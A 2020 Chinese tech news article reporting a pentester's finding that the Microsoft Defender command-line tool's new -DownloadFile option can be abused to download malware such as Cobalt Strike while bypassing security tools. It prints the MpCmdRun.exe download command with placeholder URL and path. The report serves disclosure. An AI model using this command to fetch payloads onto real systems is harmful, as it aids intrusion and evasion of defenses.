Microsoft Defender 新功能被曝安全漏洞:可下载恶意程序

IT之家 2020/9/5 12:34:19 责编:微尘

IT之家 9 月 5 日消息 据 Techradar 报道,在 4.18.2007.9 或 4.18.2009.9 版本的 Microsoft Defender 中,微软增加了通过命令行下载文件的功能。不过根据渗透测试人员 Mohammad Askar 的说法,对 Microsoft Defender 命令行工具的更改可能使攻击者利用其下载恶意程序

IT之家了解到,Windows 10 中存在许多 LOLBins,它们均具有合法功能。但是,利用适当的特权,黑客可以滥用这些二进制文件来绕过安全设施并进行攻击,而不会通知受害者。

如 Askar 所述,Microsoft Defender 命令行工具现在支持新的 “ -DownloadFile”功能。攻击者可以使用 Microsoft 反恶意软件服务命令行实用程序通过以下命令从 Internet 下载文件:“ MpCmdRun.exe -DownloadFile -url <url> -path >local-path>” 。

通过这一途径,Askar 能够直接通过 Microsoft Defender 从远程位置下载 Cobalt Strike 恶意软件。

虽然 Defender 能够检测并缓解使用此方法下载的任何恶意文件,但尚不清楚在禁用了本机保护的情况下,其他流行的防病毒服务是否能够防御这种攻击途径。

相关文章

关键词:微软Windows 10Win 10

软媒旗下网站: IT之家 辣品 - 超值导购,优惠券 IT圈(Win10/WP8.1/Win7论坛) 最会买 - 返利返现优惠券 6655网址之家 Win10之家 Win8之家 Win7之家 Vista之家

软媒旗下软件: 魔方 旗鱼浏览器(极速内核) 云日历 酷点桌面 闪游浏览器(IE内核) Win7优化大师 Win8优化大师 Win10优化大师 软媒手机APP应用